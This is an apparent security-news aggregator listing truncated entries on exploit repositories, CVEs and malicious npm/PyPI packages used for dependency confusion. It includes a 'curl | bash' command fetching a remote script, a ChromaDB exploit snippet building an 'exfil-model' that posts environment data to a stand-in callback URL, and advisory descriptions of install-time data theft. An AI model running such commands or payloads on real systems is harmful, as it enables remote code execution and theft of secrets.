tanscript-exploit-check

Mini Shai-Hulud Supply Chain Attack — IOC Checker root@kitploit: curl -fsSL https://raw.githubusercontent.com/nkopylov/tanscript-exploit-check/main/check-tanstack-exploit.sh | bash Or clone and run locally: root@kitploit: git clone https://github.com/nkopylov/tanscript-exploit-check.git cd...

UBUNTU-CVE-2026-85197

A flaw was found in libsoup. A malicious HTTP/2 server or a Man-in-the...

CVE-2026-85197

A flaw was found in libsoup. A malicious HTTP/2 server or a Man-in-the...

PT-2026-86670

HCL MyXalytics was affected by Improper Input validation Vulnerability. It allow malicious or unexpected data to cause unintended system behaviour or security issues...

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB TRY AT YOUR OWN RISKS SOME CODE NEED TO MODIFY. 1. Generate malicious model python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' ...

CVE-2020-26217-XStream

CVE-2020-26217 XStream RCE Exploit XStream Remote Code Execution Vulnerability Exploit Tool. Vulnerability Description CVE-2020-26217 is a deserialization vulnerability in the XStream library that allows an attacker to trigger remote code execution by crafting malicious XML data. Affected version...

Malicious code in oce-configurator-wireless-frontend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 191e4a78bf46781b56b290aac7b804fd9470b1ac189896b950afbaba548183e6 Package name resembles an internal Swisscom OCE package and is published at version 9999.0.0 to win resolution against a private registry. The...

MAL-2026-15940 Malicious code in oce-configurator-wireless-frontend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 191e4a78bf46781b56b290aac7b804fd9470b1ac189896b950afbaba548183e6 Package name resembles an internal Swisscom OCE package and is published at version 9999.0.0 to win resolution against a private registry. The...

MAL-2026-15942 Malicious code in omni-channel-order-frontend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b5286224ab4427b1e85bbdfd5e57b9d96fc9736504d17f2f31839562f19b88ee The package name and 9999.0.0 version are consistent with a dependency-confusion lure targeting an internal omni-channel-order-frontend package...

Malicious code in omni-channel-order-frontend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b5286224ab4427b1e85bbdfd5e57b9d96fc9736504d17f2f31839562f19b88ee The package name and 9999.0.0 version are consistent with a dependency-confusion lure targeting an internal omni-channel-order-frontend package...

Malicious code in ocfe-tv-subscription-center-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 87b1dcb639402e9d94a5f6f171e32ed97eb7064f7a557b1f7382bf832a4415ba Package name resembles an internal-scoped name and uses an implausibly high version 9999.0.0 consistent with dependency-confusion targeting. The...

MAL-2026-15941 Malicious code in ocfe-tv-subscription-center-web (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 87b1dcb639402e9d94a5f6f171e32ed97eb7064f7a557b1f7382bf832a4415ba Package name resembles an internal-scoped name and uses an implausibly high version 9999.0.0 consistent with dependency-confusion targeting. The...

Malicious code in omni-channel-oid-frontend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cd8c0fe84f28408bb01adee4ff47b26ed354143c53975559c5d5f2b0a06a61ce omni-channel-oid-frontend ships a preinstall.js lifecycle script that fires automatically on npm install. The script collects os.hostname,...

MAL-2026-15939 Malicious code in omni-channel-oid-frontend (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cd8c0fe84f28408bb01adee4ff47b26ed354143c53975559c5d5f2b0a06a61ce omni-channel-oid-frontend ships a preinstall.js lifecycle script that fires automatically on npm install. The script collects os.hostname,...

repo

Malicious Repo for CVE-2025-65964...

TIC4301_Project

TIC4301Project TIC4301 Project - CVE-2021-40444 Download the following vagrant boxes: Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing Import the boxes with the...

MAL-2026-15938 Malicious code in dac-tools (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 203490886d6928aee2c8d681d282f53d8513907b30be5e5e20fe1effb5fd21d2 On import of dactools, the top-level init.py executes whoami and hostname via subprocess, concatenates the results into a DNS label, and triggers...

WP-CVE-2016-10033

WordPress = 4.6 Remote Command Execution Vulnerability PHPMailer CVE-2016-10033 Vulnerability Information WordPress is a blogging platform developed using the PHP language. Users can set up their own websites on servers supporting PHP and MySQL databases. It can also be used as a Content Manageme...

VN_daily_samples

This is a repository related to malicious samples uploaded from Vietnam...

cisco_asa_research

Cisco ASA Research This repository contains slides and code presented at Black Hat USA 2022 and DEF CON 30. The following can be found: Slides DEF CON 30 and Black Hat slide decks. The DEF CON deck is slightly longer due to a longer time slot. theway - a tool for creating malicious/distributable...